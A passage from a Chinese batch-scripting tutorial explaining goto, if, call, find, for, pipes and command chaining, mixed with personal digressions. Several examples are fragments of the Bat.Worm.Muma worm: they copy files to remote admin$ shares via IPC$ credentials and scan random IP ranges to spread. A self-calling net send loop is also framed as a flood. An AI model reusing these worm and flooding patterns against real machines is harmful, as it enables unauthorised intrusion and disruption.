以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。 <br />
<br />
3、:: <br />
<br />
这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*&#8230;&#8230;&#8230;&#8230;*/类似。地球人都能看懂，就不多说了。 <br />
<br />
4、pause <br />
<br />
中文为&#8220;暂停&#8221;的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示
一行信息：请按任意键继续. .
.。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错
误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。 <br />
<br />
5、:和goto <br />
<br />
为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto
时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执
行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关
系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。 <br />
<br />
goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如： <br />
<br />
&#8230;&#8230; <br />
goto end <br />
&#8230;&#8230; <br />
:end <br />
<br />
这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。 <br />
<br />
6、% <br />
<br />
这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七： <br />
<br />
net use \\%1\ipc$ %3 /u:"%2" <br />
copy 11.BAT \\%1\admin$\system32 /y <br />
copy 13.BAT \\%1\admin$\system32 /y <br />
copy ipc2.BAT \\%1\admin$\system32 /y <br />
copy NWZI.EXE \\%1\admin$\system32 /y <br />
attrib \\%1\admin$\system32\10.bat -r -h -s <br />
<br />
以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名
参数一 参数二 &#8230;&#8230;。假设这个脚本被保存为a.bat，则执行形式如下：a IP username
password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚
本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在
脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是
更灵活？）。 <br />
<br />
关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！ <br />
<br />
这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，
恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自
己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分
用批处理来自动化完成了。 <br />
<br />
烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现
自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人
扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉
害，早在几千年前孔老夫子就说过&#8220;唯女子与小人，难养也&#8221;，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就
一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！ <br />
<br />
<br />
<br />
曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机
会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这
篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。 <br />
<br />
批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在
努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，
滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定
要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！ <br />
<br />
7、if <br />
<br />
接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。 <br />
<br />
(1)、输入判断。还是用例五里面的那几句吧： <br />
<br />
if "%1"=="" goto usage <br />
if "%1"=="/?" goto usage <br />
if "%1"=="help" goto usage <br />
<br />
这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或
help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示&#8220;不等于&#8221;，例如：if
not "%1"=="" goto
usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中
文体会一下就understand了。 <br />
<br />
(2)、存在判断。再看例二里这句： <br />
<br />
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif <br />
<br />
如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句&#8220;如
果不存在那些gif文件则退出脚本&#8221;：if not exist C:\Progra~1\Tencent\AD\*.gif
exit。只是多一个not来表示否定而已。 <br />
<br />
(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）： <br />
<br />
masm %1.asm <br />
if errorlevel 1 pause &amp; edit %1.asm <br />
link %1.obj <br />
<br />
先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令
有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码
符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。 <br />
<br />
另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为： <br />
<br />
masm %1.asm <br />
if not errorlevel 1 link %1.obj <br />
pause &amp; edit %1.asm <br />
<br />
看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，&#8220;if not errorlevel 1&#8221;和&#8220;if errorlevel
0&#8221;的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成
功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练
习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？
后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。 <br />
<br />
这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示&#8220;否则&#8221;的操作，是比较麻烦的。以上代码必须变成： <br />
<br />
masm %1.asm <br />
if exist %1.obj link %1.obj <br />
else pause &amp; edit %1.asm <br />
<br />
关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类
似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个&#8220;if
/?&#8221;就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。
一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学
会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。 <br />
<br />
IF [NOT] ERRORLEVEL number do command <br />
IF [NOT] string1==string2 do command <br />
IF [NOT] EXIST filename do command <br />
8、call <br />
<br />
学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）： <br />
<br />
start.bat： <br />
&#8230;&#8230; <br />
CALL 10.BAT 0 <br />
&#8230;&#8230; <br />
<br />
10.bat： <br />
&#8230;&#8230; <br />
ECHO %IPA%.%1 &gt;HFIND.TMP <br />
&#8230;&#8230; <br />
CALL ipc.bat IPCFind.txt <br />
<br />
ipc.bat： <br />
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k <br />
<br />
有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可
以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。 <br />
<br />
在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，
ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关
系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先
学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的
更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the
way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。
那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看
例九（默认脚本文件名a.bat）： <br />
<br />
net send %1 This is a call example. <br />
call a.bat <br />
<br />
这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同
时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net
send命令后再调用自身，达到了循环执行的目的。 <br />
<br />
给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）： <br />
<br />
call a.bat <br />
<br />
一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时
候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love
is aborted的提示。 <br />
<br />
9、find <br />
<br />
这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明： <br />
<br />
@echo off <br />
netstat -a -n &gt; a.txt <br />
type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!" <br />
del a.txt <br />
pause &amp; exit <br />
<br />
先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的
内容中搜索字符串&#8220;7626&#8221;
，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直
接使用find命令在a.txt中找&#8220;7626&#8221;（find a.txt "7626" &amp;&amp; echo
"Congratulations! You have infected
GLACIER!"），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎
指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的&#8220;另一个命令&#8221;自然就指的
type命令了。 <br />
<br />
至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。 <br />
<br />
10、for、set、shift <br />
<br />
为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究
Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一
个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令
（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样
那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一： <br />
<br />
@echo off <br />
for /? &gt; for.txt <br />
set /? &gt; set.txt <br />
shift /? &gt;shift.txt <br />
exit <br />
<br />
执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信
息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令
后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的
心愿之一！需要注意的一点是，这三个命令的帮助里
，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经
需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十
二： <br />
<br />
START.BAT： <br />
CALL MUMA.BAT <br />
SET IPA=192.168 <br />
CALL 10.BAT 0 <br />
:NEARAGAIN <br />
netstat -n|find ":" &gt;A.TMP <br />
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET
NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%K&amp;&amp; SET
NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT <br />
:START <br />
CALL RANDOM.BAT <br />
IF "%NUM1%"=="255" GOTO NEARAGAIN <br />
IF "%NUM1%"=="192" GOTO NEARAGAIN <br />
IF "%NUM1%"=="127" GOTO NEARAGAIN <br />
IF "%NUM2%"=="255" GOTO NEARAGAIN <br />
IF "%NUM3%"=="255" GOTO NEARAGAIN <br />
IF "%NUM4%"=="255" GOTO NEARAGAIN <br />
SET IPA=%NUM1%.%NUM2% <br />
ECHO START &gt; A.LOG <br />
PING %IPA%.%NUM3%.1&gt;B.TMP <br />
PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP <br />
FIND /C /I "from" B.TMP <br />
IF ERRORLEVEL 1 GOTO START <br />
CALL 10.BAT %NUM3% <br />
DEL A.LOG <br />
GOTO START <br />
<br />
<br />
这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该
能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面
代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗&#8230;&#8230;等到风平浪静后，最直观的收获就是，你的耐心变的前所未
有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。 <br />
<br />
没错，这就是批处理的魅力，这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸，痛并快乐着。 <br />
<br />
不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他
DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、
attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处
理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述
了。 <br />
<br />
不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》，每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东，可这并不妨碍我喜欢音乐，
喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福
/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女，绝望的徘徊在曾经辉
煌的红灯区，用一脸的木然瞟一眼来来去去的人群，默默的回忆自己并不光彩的过去，幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们，才突然间
发现上帝的公平，和这种公平的残忍。
可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在
学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里
面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time
out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个
不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。 <br />
<br />
但是很可惜，等到下午再去的时候，图书馆楼梯口已经立了一个牌子，上面写着out of
service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章，正在这时又得到一个&#8220;振奋人心&#8221;的消息：期末考试有一科挂了，而且是全班
第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头，整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门，学校里的人越来越少，迎面过
来的几个同学也都一身行李，忙碌着准备回家过年，内心的孤寂和失落如同夏日里暴雨前的乌云，迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个
人在天桥上发呆，还能怎么样，连期末考试都应付不了的失败男人。 <br />
<br />
&#8220;课间休息&#8221;时间好象长了点，呵呵，上课了！从这一章开始，将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的，如同爱一个人时不
一定非得每天去陪，但如果少了这个过程，事情就会变的复杂而不完美，所以我认为管道命令和组合命令是批处理的调味剂，几乎是少不了的。 <br />
<br />
下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt; <br />
<br />
11、| <br />
<br />
这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间
让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你
只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三： <br />
<br />
help | more <br />
<br />
回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。 <br />
<br />
为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。 <br />
<br />
11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让
DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。 <br />
<br />
11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章
（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type
a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三
里，more命令的作用就是让输出的信息逐屏或逐行显示。 <br />
<br />
<br />
看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是
help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的： <br />
<br />
help &gt; a.txt <br />
more a.txt <br />
del a.txt <br />
<br />
这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。 <br />
<br />
结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。 <br />
<br />
12、&gt;、&gt;&gt; <br />
<br />
这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，
&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：
<br />
<br />
echo @echo off &gt; a.bat <br />
echo echo This is a pipeline command example. &gt;&gt; a.bat <br />
echo echo It is very easy? &gt;&gt; a.bat <br />
echo echo Believe your self! &gt;&gt; a.bat <br />
echo pause &gt;&gt; a.bat <br />
echo exit &gt;&gt; a.bat <br />
<br />
依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下： <br />
<br />
@echo off <br />
echo This is a pipeline command example. <br />
echo It is very easy? <br />
echo Believe your self! <br />
pause <br />
exit <br />
<br />
看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令
&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行
exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管
道命令&gt;和&gt;&gt;的用法。 <br />
<br />
13、&lt;、&gt;&amp;、&lt;&amp; <br />
<br />
这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。 <br />
<br />
&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。 <br />
&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。 <br />
&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。 <br />
<br />
关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到 下面介绍组合命令：&amp;、&amp;&amp;、|| <br />
<br />
组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成
了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是
说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本
里也一样，有些时候某些命令是不能同时执行的，后面给你说。 <br />
<br />
刚刚又送走了一个同学，人去楼空的感觉越来越明显，望着空荡荡的床铺，平日里喧闹的宿舍就只剩下我一个人了，整个世界只有那个平时令人非常讨厌的老鼠这时
候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败！我感到快要呼吸不过来，这种失败的压
力简直令我窒息，简直让我的手接收不到大脑的信号，简直让这篇未完成的教程夭折。但我能怪谁？ <br />
<br />
忙碌了一学期要过年了却挂了科，失败；挂了科也倒罢了，竟然一个人拖全班的后退，失败中的失败；更失败的，是在这最失落的时候，竟然找不到一个人可以倾
诉；然而最失败的，是突然发现自己竟然如此脆弱，如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题：为什么明知道那段情是一个旋涡却还心甘情愿的
往里面跳----这就是青春，风一样的年龄，火一样不安的心。不再爱了，我不要再一个人的时候苦苦等待；不再爱了，我不要在你给的囚笼里怜悯的爱；不再爱
了，我不要在别人的视线里如此可笑；不再爱，我不再爱。就算塌下来，我也要一个人扛着，头不能低腰不能弯，不能喘息不能倾诉，因为虽然失败，但还是男人，
是男人就不能向困难低头！ <br />
<br />
14、&amp; <br />
<br />
这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六： <br />
<br />
copy a.txt b.txt /y &amp; del a.txt <br />
<br />
其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。 <br />
<br />
<br />
15、&amp;&amp; <br />
<br />
切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命
令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩
下的命令。这就为我们自动化完成一些任务提供了方便。例十七： <br />
<br />
dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www <br />
<br />
如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的： <br />
<br />
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www <br />
<br />
至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。 <br />
<br />
你是否还记得&#8220;有些命令是不能同时执行的&#8221;？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将
如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八： <br />
<br />
dir c:\ &amp;&amp; dir d:\ &gt; a.txt <br />
<br />
仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和
&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结
的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt;
a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt;
a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写： <br />
<br />
dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt <br />
<br />
这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。 <br />
<br />
当然这里还可以利用&amp;命令（自己想一下道理哦）： <br />
<br />
dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt <br />
<br />
16、|| <br />
<br />
这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有则退出。例十九： <br />
<br />
@echo off <br />
dir s*.exe || exit <br />
<br />
其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？
因为如果不存在那个.exe文件，则前一条命令dir
s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十： <br />
<br />
@echo off <br />
dir s*.exe || echo Didn't exist file s*.exe &amp; pause &amp; exit <br />
<br />
